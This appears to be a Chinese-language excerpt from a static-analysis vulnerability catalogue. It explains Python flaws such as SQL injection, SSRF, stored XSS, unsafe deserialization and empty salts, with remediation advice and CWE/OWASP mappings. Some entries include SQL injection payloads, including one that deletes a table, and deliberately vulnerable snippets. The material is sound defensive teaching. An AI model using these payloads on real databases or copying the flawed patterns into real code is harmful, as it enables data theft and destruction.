解释	当攻击者能够通过控制某些值来监控系统的行为、管理特定的资源、或在某个方面影响应用程序的功能时，即表示发生了 Setting Manipulation 漏洞。 在这种情况下，潜在的恶意数据会通过 X（文件） 中第 N 行的 X（函数） 进入程序，并流向 Y（文件） 中第 M 行的 Y（函数）。 由于 Setting Manipulation 漏洞影响到许多功能，因此，对它的任何说明都必然是不完整的。与其在 Setting Manipulation 这一类中寻找各个功能之间的紧密关系，不如往后退一步，考虑有哪些系统数值类型不能由攻击者来控制。 示例 1：以下代码片段使用用户控制的数据设置变量。 ... catalog = request.GET['catalog'] path = request.GET['path'] os.putenv(catalog, path) ... 在本例中，攻击者可以设置任何任意环境变量，并影响其他应用程序的运行方式。 总之，应禁止使用用户提供的数据或通过其他途径获取不可信任的数据，以防止攻击者控制某些敏感的数值。虽然攻击者控制这些数值的影响不会总能立刻显现，但是不要低估了攻击者的攻击力。
建议	禁止由不可信赖的数据来控制敏感数值。在发生此种错误的诸多情况中，应用程序预期通过某种特定的输入，仅得到某一区间内的数值。如果可能的话，应用程序应仅通过输入从预定的安全数值集合中选择数据，而不是依靠输入得到期望的数值，从而确保应用程序行为得当。针对恶意输入，传递给敏感函数的数值应当是该集合中的某些安全选项的默认设置。即使无法事先了解安全数值集合，通常也可以检验输入是否在某个安全的数值区间内。若上述两种验证机制均不可行，则必须重新设计应用程序，以避免应用程序接受由用户提供的潜在危险数值。
CWE	CWE ID 15
OWASP2017	None

返回目录

漏洞名称	**SQL Injection**
默认严重性	4.0
摘要	X（文件）的第 N 行调用通过不可信赖的数据源输入构建的 SQL 查询。通过这种调用，攻击者能够修改语句的含义或执行任意 SQL 命令。通过不可信赖的数据源输入构建动态 SQL 语句，攻击者就能够修改语句的含义或者执行任意 SQL 命令。
解释	SQL injection 错误在以下情况下发生： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据用于动态地构造一个 SQL 查询。 在这种情况下，数据将传递到 Y（文件）的第 M 行中的 Y（函数）。 例 1：以下代码动态地构造并执行了一个 SQL 查询，该查询可以搜索与指定名称相匹配的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。 ... userName = req.field('userName') itemName = req.field('itemName') query = "SELECT * FROM items WHERE owner = ' " + userName +" ' AND itemname = ' " + itemName +"';" cursor.execute(query) result = cursor.fetchall() ... 查询计划执行以下代码： SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>; 但是，由于这个查询是动态构造的，由一个不变的查询字符串和一个用户输入字符串连接而成，因此只有在 itemName 不包含单引号字符时，才会正确执行这一查询。如果一个用户名为 wiley 的攻击者为 itemName 输入字符串“name' OR 'a'='a”，那么查询就会变成： SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a'; 附加条件 OR 'a'='a' 会使 where 从句永远评估为 true，因此该查询在逻辑上将等同于一个更为简化的查询： SELECT * FROM items; 通常，查询必须仅返回已通过身份验证的用户所拥有的条目，而通过以这种方式简化查询，攻击者就可以规避这一要求。现在，查询会返回存储在 items 表中的所有条目，而不论其指定所有者是谁。

返回目录

	示例 2：此示例说明了将不同的恶意值传递给 Example 1.中构造和执行的查询所带来的影响。如果一个用户名为 wiley 的攻击者为 itemName 输入字符串“name'; DELETE FROM items; --”，则该查询就会变为以下两个查询： SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name'; DELETE FROM items; --' 众多数据库服务器，其中包括 Microsoft(R) SQL Server 2000，都可以一次性执行多条用分号分隔的 SQL 指令。对于那些不允许运行用分号分隔的批量指令的数据库服务器，比如 Oracle 和其他数据库服务器，攻击者输入的这个字符串只会导致错误；但是在那些支持这种操作的数据库服务器上，攻击者可能会通过执行多条指令而在数据库上执行任意命令。 注意末尾的一对连字符（--）；这在大多数数据库服务器上都表示该语句剩余部分将视为注释，不会加以执行 [4]。在这种情况下，可通过注释字符删除修改后的查询遗留的末尾单引号。而在不允许通过这种方式使用注释的数据库上，攻击者通常仍可使用类似于 Example 1.中所用的技巧进行攻击。如果攻击者输入字符串“name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a”，将创建以下三个有效语句： SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a'; 避免 SQL injection 攻击的传统方法之一是，作为一个输入验证问题来处理，只接受列在安全值允许列表中的字符，或者识别并避免列在潜在恶意值列表（拒绝列表）中的字符。检验允许列表是一种非常有效的方法，它可以强制执行严格的输入验证规则，但是参数化的 SQL 语句所需的维护工作更少，而且能提供更好的安全保障。而对于通常采用的执行拒绝列表方式，由于总是存在一些小漏洞，所以并不能有效地防止 SQL Injection 攻击。例如，攻击者可以： — 把没有被黑名单引用的值作为目标 - 寻找方法以绕过某些需要转义的元字符 - 使用存储过程隐藏注入的元字符 手动去除 SQL 查询中的元字符有一定的帮助，但是并不能完全保护您的应用程序免受 SQL injection 攻击。 防范 SQL injection 攻击的另外一种常用方式是使用存储过程。虽然存储过程可以阻止某些类型的 SQL injection 攻击，但是对于绝大多数攻击仍无能为力。存储过程有助于避免 SQL injection 的常用方式是限制可作为参数传入的指令类型。但是，有许多方法都可以绕过这一限制，许多危险的表达式仍可以传入存储过程。所以再次强调，存储过

返回目录

	程在某些情况下可以避免这种攻击，但是并不能完全保护您的应用系统抵御 SQL injection 的攻击。
建议	造成 SQL injection 攻击的根本原因在于攻击者可以改变 SQL 查询的上下文，使程序员原本要作为数据解析的数值，被篡改为命令了。当构造一个 SQL 查询时，程序员应当清楚，哪些输入的数据将会成为命令的一部分，而哪些仅仅是作为数据。参数化 SQL 指令可以防止直接窜改上下文，避免几乎所有的 SQL injection 攻击。参数化 SQL 指令是用常规的 SQL 字符串构造的，但是当需要加入用户输入的数据时，它们就需要使用捆绑参数，这些捆绑参数是一些占位符，用来存放随后插入的数据。换言之，捆绑参数可以使程序员清楚地分辨数据库中的数据，即其中有哪些输入可以看作命令的一部分，哪些输入可以看作数据。这样，当程序准备执行某个指令时，它可以详细地告知数据库，每一个捆绑参数所使用的运行时的值，而不会被解析成对该命令的修改。 更加复杂的情况常常出现在报表生成代码中，因为这时需要通过用户输入来改变 SQL 指令的命令结构，比如在 WHERE 条件子句中加入动态的约束条件。不要因为这一需求，就无条件地接受连续的用户输入，从而创建查询语句字符串。当必须要根据用户输入来改变命令结构时，可以使用间接的方法来防止 SQL injection 攻击：创建一个合法的字符串集合，使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个 SQL 指令时，可使用来自用户的输入，以便从应用程序控制的值集合中进行选择。
CWE	CWE ID 89
OWASP2017	A1 Injection

返回目录

漏洞名称	**SSRF**
默认严重性	4
摘要	应用程序使用 Y（文件）:M 中的 YY（元素） 向远程服务器请求某些资源。但是，攻击者可通过在 X（文件）:N 的 XX（元素） 中发送 URL 或其他数据控制请求的目标。
解释	攻击者可能滥用此漏洞，从应用程序服务器发出任意请求。这可能会被用于扫描内部服务；对受保护的网络发起代理攻击；绕过网络控制；下载未经授权的文件；访问内部服务和管理界面；并可能控制请求的内容，甚至窃取服务器凭证。 应用程序接受来自用户的 URL（或其他数据），并用其向另一个远程服务器发出请求。 但是，攻击者可以在请求中注入任意 URL，导致应用程序连接到攻击者想要攻击的任何服务器。这样，攻击者可能滥用应用程序来访问本不可访问的服务，并将请求伪装成来自应用程序服务器。
建议	不要根据用户输入连接任意服务。 如果可能，应用程序应该让用户的浏览器直接检索所需的信息。 如果应用程序需要代理服务器上的请求，请将允许的目标 URL 显式列入白名单，并且其中不能包含任何敏感的服务器信息。
CWE	CWE ID 918
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Stored Code Injection**
默认严重性	3
摘要	应用程序的 YYY（方法） 方法使用位于 Y（文件） 文件的第 M 行的 YY（元素） 元素接收并动态执行用户控制的代码。这使攻击者能够注入并运行任意代码。 攻击者可以将有效负载插入数据库或本地文件中的标准文本字段来注入执行的代码。此文本由 XXX（方法） 方法使用 X（文件） 文件第 N 行的 XX（元素） 检索，然后发送到执行方法。
解释	攻击者可以在应用程序服务器的主机上运行任意代码。取决于操作系统赋予应用程序的权限，此类攻击可能包括： 访问数据库，例如读取或修改敏感数据； 文件操作（读取/创建/修改/删除）； 更改网址； 打开到攻击者服务器的网络连接； 使用应用程序的加密密钥来解密保密数据； 启动和停止系统服务； 完全接管服务器。 应用程序通过创建和运行包含不可信任数据的代码来执行某些操作，这可能受到某位恶意用户的控制。如果数据包含恶意代码，则执行的代码可能包含攻击者设计的系统级操作，效果就像攻击者直接在应用程序服务器上运行代码一样。
建议	应用程序不应编译、执行或评估来自任何外部源的任何不可信任的代码，其中包括用户输入、上传的文件或某数据库。 如果动态执行时，确实需要使用外部数据，可以将数据以参数形式传递给代码，但不要直接执行用户数据。 如果需要将不可信任的数据传递给动态执行，请使用非常严格的数据验证。例如，仅接受特定值之间的整数。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。参数应限制为允许的字符集，并且应丢弃未验证的输入。除字符外，检查以下项： 数据类型 大小 范围 格式 预期值 如果可行，尽量参照白名单中已知和可信任的输入，而不是与黑名单进行比较。 将应用程序的运行方式配置为使用受限用户帐户运行，此用户帐户无不必要的权限。

返回目录

	根据最小权限原则，如果可行，应独立出来所有的动态执行，以使用一个单独的专用用户帐户来运行，该帐户仅对特定操作和动态执行所涉及的文件有权限。
CWE	CWE ID 94
OWASP2017	None

返回目录

漏洞名称	**Stored LDAP Injection**
默认严重性	4
摘要	应用程序的 YYY（方法） 方法在 Y（文件） 文件第 M 行构造了一个 LDAP 查询，未经净化便将不可信任的字符串 YY（元素） 嵌入查询中。构造的字符串用于查询 LDAP 服务器，以进行身份验证或数据检索。 这使攻击者能够修改 LDAP 参数，从而引发 LDAP 注入攻击。 攻击者可能能够将任意数据写入数据库，然后被应用程序使用 X（文件） 文件第 N 行 XXX（方法） 方法中的 XX（元素） 检索。然后该数据可能未经过净化便被直接添加到 LDAP 查询中，然后被提交到目录服务器。
解释	攻击者如果能够使用任意数据更改应用程序的 LDAP 查询，就可以控制从 User Directory 服务器返回的结果。这通常会使攻击者能够绕过身份验证或冒充其他用户。 此外，根据目录服务的架构和使用模型，此缺陷还可能产生各种其他影响。根据应用程序使用 LDAP 的方式，攻击者可能可以执行以下操作: 绕过身份认证 假冒其他用户 破坏授权 提高权限 修改用户属性和组成员身份 访问敏感数据 应用程序通过发送文本 LDAP 查询或命令与 LDAP 服务器（如 Active Directory）通信。应用程序创建查询时只是简单地拼接字符串，包括可能受攻击者控制的不可信任的数据。这样，因为数据未经过验证或正确的净化，所以输入中可能包含会被 LDAP 服务器解释的 LDAP 命令。
建议	验证所有来源的所有外部数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 检查: 数据类型 大小 范围 格式 预期值 尽量避免创建直接使用不可信任的外部数据的 LDAP 查询。例如，从 LDAP 服务器检索用户对象，并在应用程序代码中检查此对象的属性。
CWE	CWE ID 90

返回目录

OWASP2017	A1-Injection

返回目录

漏洞名称	**Stored XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者可以通过提前在数据存储中保存恶意数据来更改返回的网页。然后 XXX（方法） 方法使用 X（文件） 文件第 N 行的 XX（元素）从数据库读取攻击者修改的数据。然后这些不可信任的数据无需净化即可经代码到达输出网页。 这样就可以发起存储跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可以使用应用程序的合法权限提交修改后的数据到应用程序的数据存储。然后这会被用于构造返回的网页，从而触发攻击。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 为了利用此漏洞，攻击者通常会通过其他网页上的常规表单将恶意负载加载到数据存储中。然后，应用程序从数据存储中读取这些数据，并将其嵌入显示给另一个用户的网页。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小

返回目录

	范围 格式 预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**System Information Leak:External**
默认严重性	3.0
摘要	对于 X（文件），在调用第 N 行上的 XX（函数） 过程中，程序可能会显示系统数据或调试信息。由 XX（函数） 揭示的信息有助于攻击者制定攻击计划。揭示系统数据或调试信息有助于攻击者了解系统并制定攻击计划。
解释	当系统数据或调试信息通过套接字或网络连接使程序流向远程机器时，就会发生外部信息泄露。 在这种情况下，XX（函数）会产生系统数据或调试信息，而 X（文件） 第 N 行的 YY（函数） 会泄露这些系统数据或调试信息。 示例 1：以下代码会将一个异常写入 HTTP 响应： ... return render_to_response(template_name, {'error': sys.exc_info() }) ... 依据这一系统配置，该信息可转储到控制台，写入日志文件，或者显示给远程用户。例如，凭借脚本机制，可以轻松将输出信息从“标准错误”或“标准输出”重定向至文件或其他程序。或者，运行程序的系统可能具有将日志发送至远程设备的远程日志记录系统，例如“syslog”服务器。在开发过程中，您无法知道此信息最终可能显示的位置。 在某些情况下，该错误消息会告诉攻击者该系统易遭受的确切攻击类型。例如，数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他错误消息可以揭示有关该系统的更多间接线索。在 Example 1 中，泄露的信息可能会暗示有关操作系统类型、系统上安装了哪些应用程序以及管理员在配置程序时采取了哪些保护措施的信息。
建议	编写错误消息时，始终要牢记安全性。在编码的过程中，尽量避免使用繁复的消息，提倡使用简短的错误消息。限制生成与存储繁复的输出数据可帮助管理员和程序员诊断问题。调试踪迹有时可能出现在不明显的位置（例如，嵌入在错误页 HTML 的注释中）。 即便是并未揭示栈踪迹或数据库转储的简短错误消息，也有可能帮助攻击者发起攻击。例如，“Access Denied”（拒绝访问）消息可以揭示系统中存在一个文件或用户。
CWE	CWE ID 215, CWE ID 489, CWE ID 497
OWASP2017	None

返回目录

漏洞名称	**System Information Leak:Internal**
默认严重性	3.0
摘要	X（文件） 中的 XX（方法） 函数可能通过调用第 N 行的 XX（函数） 来揭示系统数据或调试信息。由 XX（函数） 揭示的信息使攻击者能够制定攻击计划。显示系统数据或调试信息使攻击者能够使用系统信息来计划攻击。
解释	通过打印或日志记录功能将系统数据或调试信息发送到本地文件、控制台或屏幕时，就会发生内部信息泄露。 在这种情况下，X（文件）的第 N 行调用 XXX（函数）。 示例 1：以下代码会将一个异常写入标准输出流： try: ... except: print(sys.exc_info()[2]) 此信息将转储到控制台。在某些情况下，该错误消息会告诉攻击者该系统易遭受的确切攻击类型。例如，数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他错误消息可以揭示有关该系统的更多间接线索。在 Example 1 中，泄露的信息可能会暗示有关操作系统类型、系统上安装了哪些应用程序以及管理员在配置程序时采取了哪些保护措施的信息。
建议	编写错误消息时，始终要牢记安全性。在编码的过程中，尽量避免使用繁复的消息，提倡使用简短的错误消息。限制生成与存储繁复的输出数据可帮助管理员和程序员诊断问题。调试踪迹有时可能出现在不明显的位置（例如，嵌入在错误页 HTML 的注释中）。 即便是并未揭示栈踪迹或数据库转储的简短错误消息，也有可能帮助攻击者发起攻击。例如，"Access Denied"（拒绝访问）消息可以揭示系统中存在一个文件或用户。
CWE	CWE ID 497
OWASP2017	None

返回目录

漏洞名称	**Trust Boundary Violation**
默认严重性	3.0
摘要	X（文件） 中的 XX（方法） 方法将可信赖的数据和不可信赖的数据混合在同一数据结构中，这会导致程序员错误地信任未经验证的数据。在同一数据结构中将可信赖数据和不可信赖数据混合在一起会导致程序员错误地信赖未验证的数据。
解释	信任边界可以理解为在程序中划分的分界线。分界线的一边是不可信赖的数据。分界线的另一边则是被认定为是可信赖的数据。验证逻辑的用途是允许数据安全地跨越信任边界 — 从不可信赖的一边移动到可信赖的另一边。 当程序使可信赖和不可信赖的分界线模糊不清时，就会发生 Trust Boundary Violation 漏洞。发生这种错误的最普遍方式是允许可信赖的数据和不可信赖的数据共同混合在同一数据结构中。 在这种情况下，不可信赖的数据进入 X（文件）的第 N 行的的 X（函数） 中。调用 Y（文件） 中第 M 行的 Y（函数），可以将数据添加到可信赖的数据结构中。 示例：以下 Python 代码接受了一个 HTTP 请求，并在 HTTP 会话对象中存储 username 参数，再进行检查以确保该用户已经过了验证。 uname = request.GET['username'] request.session['username'] = uname 若不对信任边界进行合理构建及良好维护，则程序员不可避免地会混淆哪些数据已经过验证，哪些尚未经过验证。这种混淆最终会导致某些数据未经验证就加以使用了。
建议	在应用程序中定义信任边界。不要在数据结构中储存在某些环境下受信任而在其他环境下又转而不可信赖的数据。应尽量减少数据跨越信任边界的方式。 在处理输入之前，需要通过一系列用户交互来累积输入时，有时就会出现 Trust Boundary Violation 漏洞。所以，在得出所有数据之前，不可能进行完整的输入验证。在这种情况下，维护信任边界仍然是非常重要的。应将不可信赖的数据添加到一个不受信任数据结构中，待验证后，再移至可信赖的区域。
CWE	APSC-DV-002360 CAT II, APSC-DV-002560 CAT I
OWASP2017	None

返回目录

漏洞名称	**Unauthenticated Service:MongoDB**
默认严重性	4.0
摘要	调用第 N 行的 XX（函数） 会初始化 MongoDB 客户端，而不设置任何凭据。应用程序会初始化 MongoDB 客户端，而不设置任何凭据。
解释	攻击者可能会将未经身份验证的 MongoDB 服务器作为目标，破坏其中存储的数据，并根据 MongoDB 版本攻击服务器，从而侵入内部网络。 可以对 MongoDB 服务器使用不同的攻击，以便在其底层操作系统上执行任意代码。 例如，过去有很多漏洞，攻击者会利用这些漏洞将 Server-Side JavaScript Injection 转化为远程代码执行。 当用于存储对象时，攻击者还可以存储面向不同语言（例如 Java、Python、Ruby、PHP 等）的反序列化有效负载，以便在反序列化端点上执行远程代码。 请注意，即使 MongoDB 服务器未在外部公开，外部攻击者仍可能通过同一网络上任何应用程序中的 Server-Side Request Forgery 漏洞访问它或 REST API。 例如，攻击者可能使用 HTTP 或 Gopher 协议来攻击 MongoDB 服务器。 如果未能从外部保护 MongoDB 端口，则可能会产生很大的安全影响。 例如，外部攻击者可以使用单个 remove 命令删除整个数据集。最近，有报道称，在 Internet 上公开运行的不安全 MongoDB 实例遭到恶意攻击。 攻击者删除了数据库，并要求支付赎金才能恢复数据库。
建议	即便是仅在内部公开的服务器，最好也在服务器中设置身份验证，要求客户端提交有效凭据才能访问服务器。 请参考“MongoDB 安全指南”。
CWE	CWE ID 259
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Uncontrolled Format String**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法从用户输入接收 XX（元素） 值。然后该值被用于构建"格式字符串"YY（元素），并用作 Y（文件） 文件第 M 行 YYY（方法） 方法的字符串格式参数。
解释	在某些语言中，特别是非严格类型语言中，格式字符串可以调用变量中的特定特性；允许攻击者提供格式字符串就会使格式字符串能够泄漏不该泄漏的对象值，例如敏感数据。 应用程序允许用户输入影响用于已格式化打印函数的字符串实参。这个函数族期望第一个实参指定动态构造的输出字符串的相对格式，包括如何表示其他各个实参。 在 Python 中，格式字符串可能包含由对象属性组成的格式 Token，使格式字符串能够直接检索这些属性并将其设置为字符串的一部分。如果提供动态格式字符串，攻击者就可以指定检索哪些属性，就可能会检索敏感数据。
建议	通用指南： 不要让用户输入或任何其他外部数据影响格式字符串。 确保使用静态字符串作为格式参数调用所有字符串格式函数，并根据静态格式字符串将正确数量的实参传递给函数。 也可在格式字符串参数中使用所有用户输入来打印格式函数之前，对所有用户输入进行验证，并确保输入中不包含格式化 token。 具体建议： 不要直接在格式化函数的格式字符串参数（通常是第一个或第二个实参）中使用用户输入。 也可在格式字符串中使用从输入导出的已控信息，例如大小或长度——但不能使用输入本身的实际内容。
CWE	CWE ID 134
OWASP2017	None

返回目录

漏洞名称	**Unsafe Deserialization**
默认严重性	5
摘要	X（文件） 文件第 N 行中 XXX（方法） 方法中处理的序列化对象 XX（元素） 被 Y（文件） 文件第 M 行中的 YY（元素） 反序列化。
解释	反序列化不可信任的数据会使攻击者能够为反序列化代码制作和提供恶意对象。如果能对危险对象进行不安全的反序列化，就可以在反序列化过程中调用对象可以使用的类或方法来执行代码或操作系统命令。 此外，反序列化也可能绕过逻辑对象验证。因为反序列化通常通过自己的方法使用序列化数据构造新对象，所以这样可以绕过构造函数或 setter 中强制执行的检查，这将使攻击者能够反序列化属性未经过验证、不正确或完全恶意的对象。这可能会导致意外行为，以与实现方式相关的方式影响逻辑。 对象序列化和反序列化是远程处理过程中必不可少的，在这个过程中，对象通过中间媒介（例如通过网络）在代码实例之间传递。反序列化时会使用媒介上提供的序列化对象构造新对象；但是，如果被反序列化的对象是不可信任的，提供的就可能是意外且可能有危险的对象。
建议	尽量不要在远程实例之间传递序列化对象。可以考虑在实例之间传递原始值，然后使用这些值填充新构造的对象。 如果有需要，可使用白名单的方法传递对象。始终确保传递的对象是已知的、可信任的和符合预期的。不要使用任何源来动态构造对象，除非该对象已经过验证且属于可信任的已知类型，并且其中不包含不可信任的对象。 选择序列化器时——一定要查看开发商文档、最佳做法和甚至已知的开发技术，以确保选择和部署的序列化器是可防御的、配置安全而且不允许任何可能有危险的对象。 对于某些 Python 函数，例如 "pickle" 和 "cPickle"，考虑到这些函数在创建时从未考虑到不可信任的数据。因此，强烈建议不要将这些库与未知或未验证源的不可信任数据一起使用。
CWE	CWE ID 502
OWASP2017	None

返回目录

漏洞名称	**Unsafe Reflection**
默认严重性	3.0
摘要	攻击者可以控制 X（文件） 中第 N 行的反射方法 XX（函数） 所使用的参数，通过此种方式，创建一个意想不到且贯穿于整个应用程序的控制流路径，从而规避潜在的安全检查。攻击者会创建一个意想不到且贯穿于整个应用程序的控制流路径，从而逃避潜在的安全检查。
解释	若攻击者可以为应用程序提供确定实例化哪个类或调用哪个方法的参数值，那么就有可能创建一个贯穿于整个应用程序的控制流路径，而该路径并非是应用程序开发者最初设计的。这种攻击途径可能使攻击者避开 authentication 或 access control 检测，或使应用程序以一种意想不到的方式运行。即使狡猾的攻击者只能控制传送给指定函数或构造函数的参数，也有可能会成功地发起攻击。 如果攻击者能够将文件上传到应用程序的类路径或者添加应用程序类路径的新入口，那么对应用程序来说，情况会非常糟糕。无论处于上面哪种情况，攻击者都能通过反射将新的行为引入应用程序，而这一行为往往可能是恶意的。 在这种情况下，不可信赖的数据通过 X（文件）的第 N 行进入 X（函数） 的程序。传递到 Y（文件） 的第 M 行中的 Y（函数） 的反射 API。
建议	防止 unsafe reflection 的最佳方法是采用一些间接手段：创建一个规定用户使用的合法名称列表，并仅允许用户从中进行选择。通过这个方法，就不会直接采用用户提供的输入指定传输到反射 API 的名称。 反射也可以用来创建自定义的数据驱动体系结构，这样，配置文件就可以决定应用程序所使用的对象类型和组合。这种编程风格会带来以下安全问题： — 控制程序的配置文件是程序源代码的重要组成部分，必须进行保护及相应的检查。 — 因为应用程序的配置文件是唯一的，所以必须执行独特的操作来评估设计的安全性。 — 因为当前应用程序的语意由一个自定义格式的配置文件支配，为了得出最理想的静态分析结果，就需要自定义一些规则。 鉴于以上原因，除非开发组可以在安全评估方面投入大量的精力，否则避免使用这种风格的设计。
CWE	CWE ID 470, CWE ID 494
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Use Of Hardcoded Password**
默认严重性	3
摘要	应用程序进行身份验证（如验证用户身份或访问另一个远程系统）时使用一个硬编码的 XX（元素） 密码。X（文件） 文件第 N 行上的此密码在代码中显示为纯文本，并且如果不重建应用程序就无法更改此密码。
解释	硬编码的密码容易使应用程序泄露密码。如果攻击者可以访问源代码，攻击者就能窃取嵌入的密码，然后用其伪装成有效的用户身份。这可能包括伪装成应用程序的最终用户身份，或伪装成应用程序访问远程系统，如数据库或远程 Web 服务。 一旦攻击者成功伪装成用户或应用程序，攻击者就可以获得系统的全部访问权限，执行所伪装身份可以执行的任何操作。 应用程序代码库存在嵌入到源代码中的字符串文本密码。该硬编码值会被用于比较用户提供的凭证，或用于为下游的远程系统（例如数据库或远程 Web 服务）提供身份验证。 攻击者只需访问源代码即可显示硬编码的密码。同样，攻击者也可以对编译的应用程序二进制文件进行反向工程，即可轻松获得嵌入的密码。找到后，攻击者即可使用密码轻松地直接对应用程序或远程系统进行假冒身份攻击。 此外，被盗后很难轻易更改密码以避免被继续滥用，除非编译新版本的应用程序。此外，如果将此应用程序分发到多个系统，则窃取了一个系统的密码就等于破解了所有已部署的系统。
建议	不要在源代码中硬编码任何秘密数据，特别是密码。 特别是用户密码应储存在数据库或目录服务中，并使用强密码 hash（例如 bcrypt、scrypt、PBKDF2 或 Argon2）进行保护时。不要将用户密码与硬编码的值进行对比。 系统密码应保存在配置文件或数据库中，并使用强加密（例如 AES-256）进行保护。要安全地管理加密密钥，不能使用硬编码。
CWE	CWE ID 259
OWASP2017	A2-Broken Authentication

返回目录

漏洞名称	**Weak Cryptographic Hash**
默认严重性	2.0
摘要	弱加密散列值无法保证数据完整性，且不能在安全性关键的上下文中使用。
解释	MD2、MD4、MD5、RIPEMD-160 和 SHA-1 是常用的加密散列算法，通常用于验证消息和其他数据的完整性。然而，由于最近的密码分析研究揭示了这些算法中存在的根本缺陷，因此它们不应该再用于安全性关键的上下文中。 由于有效破解 MD 和 RIPEMD 散列的技术已得到广泛使用，因此不应该依赖这些算法来保证安全性。对于 SHA-1，目前的破坏技术仍需要极高的计算能力，因此比较难以实现。然而，攻击者已发现了该算法的致命弱点，破坏它的技术可能会导致更快地发起攻击。
建议	停止使用 MD2、MD4、MD5、RIPEMD-160 和 SHA-1 对安全性关键的上下文中的数据进行验证。目前，SHA-224、SHA-256、SHA-384、SHA-512 和 SHA-3 都是不错的备选方案。但是，由于安全散列算法 (Secure Hash Algorithm) 的这些变体并没有像 SHA-1 那样得到仔细研究，因此请留意可能影响这些算法安全性的未来研究结果。
CWE	CWE ID 328
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:Empty PBE Salt**
默认严重性	3.0
摘要	空 salt 可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	使用空 salt 绝非好方法。这不仅是因为使用空 salt 让确定散列值变得十分容易，而且还会使解决这一问题变得极其困难。在代码投入使用之后，将无法轻易更改该 salt。如果攻击者知道散列值使用了空 salt，他们就可以计算出该应用程序的“彩虹表”，并更轻松地确定散列值。 在这种情况下，在对 N 第 X（文件） 行中的 XXX（函数） 的调用中发现空 salt。 例 1： 下列代码使用了空 salt: from hashlib import pbkdf2_hmac ... dk = pbkdf2_hmac('sha256', password, '', 100000) ... 此代码将成功运行，但任何有权访问此代码的人都可以访问（空）salt。一旦程序发布，可能无法更改空 salt。雇员可以利用手中掌握的信息访问权限入侵系统。
建议	salt 始终不能为空。一般来说，应对密码加以模糊化，并在外部资源中进行管理。在系统中采用明文的形式存储 salt（空或非空），会造成任何有充分权限的人读取和无意中误用 salt。 例 2：下列代码使用由系统管理员配置的 salt 变量: from hashlib import pbkdf2_hmac ... dk = pbkdf2_hmac('sha256', password, salt, 100000) ...
CWE	CWE ID 759
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Weak Cryptographic Hash:Empty Salt**
默认严重性	3.0
摘要	空 salt 会背离自己的初衷，并可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	使用空 salt 绝非好方法。空 salt 不仅会背离自己的初衷，还允许所有项目开发人员查看该 salt，而且还会使解决这一问题变得极其困难。在代码投入使用之后，无法轻易更改该 salt。如果攻击者知道该 salt 的值，他们就可以计算出该应用程序的“彩虹表”，并更轻松地确定散列值。 在这种情况下，在对 N 第 X（文件） 行中的 XXX（函数） 的调用中发现空 salt。 例 1：以下代码对密码哈希使用空 salt： import hashlib, binascii def register(request): password = request.GET['password'] username = request.GET['username'] hash = hashlib.md5("%s:%s" % ("", password,)).hexdigest() store(username, hash) ... 此代码将成功运行，但有权访问此代码的任何人都可以访问 salt。一旦程序发布，可能无法更改空 salt。雇员可以利用手中掌握的信息访问权限入侵系统。
建议	salt 绝对不能为空字符串。一般情况下，应对 salt 加以模糊化，并在外部数据源中进行管理。在系统中采用明文的形式存储 salt，会造成任何有充分权限的人读取和无意中误用 salt。 例 2：下列代码使用由系统管理员配置的 salt 变量： import hashlib, binascii def register(request): password = request.GET['password'] username = request.GET['username'] hash = hashlib.md5("%s:%s" % (read_random_salt(), password,)).hexdigest() store(username, hash) ...
CWE	CWE ID 759
OWASP2017	A3 Sensitive Data Exposure

返回目录

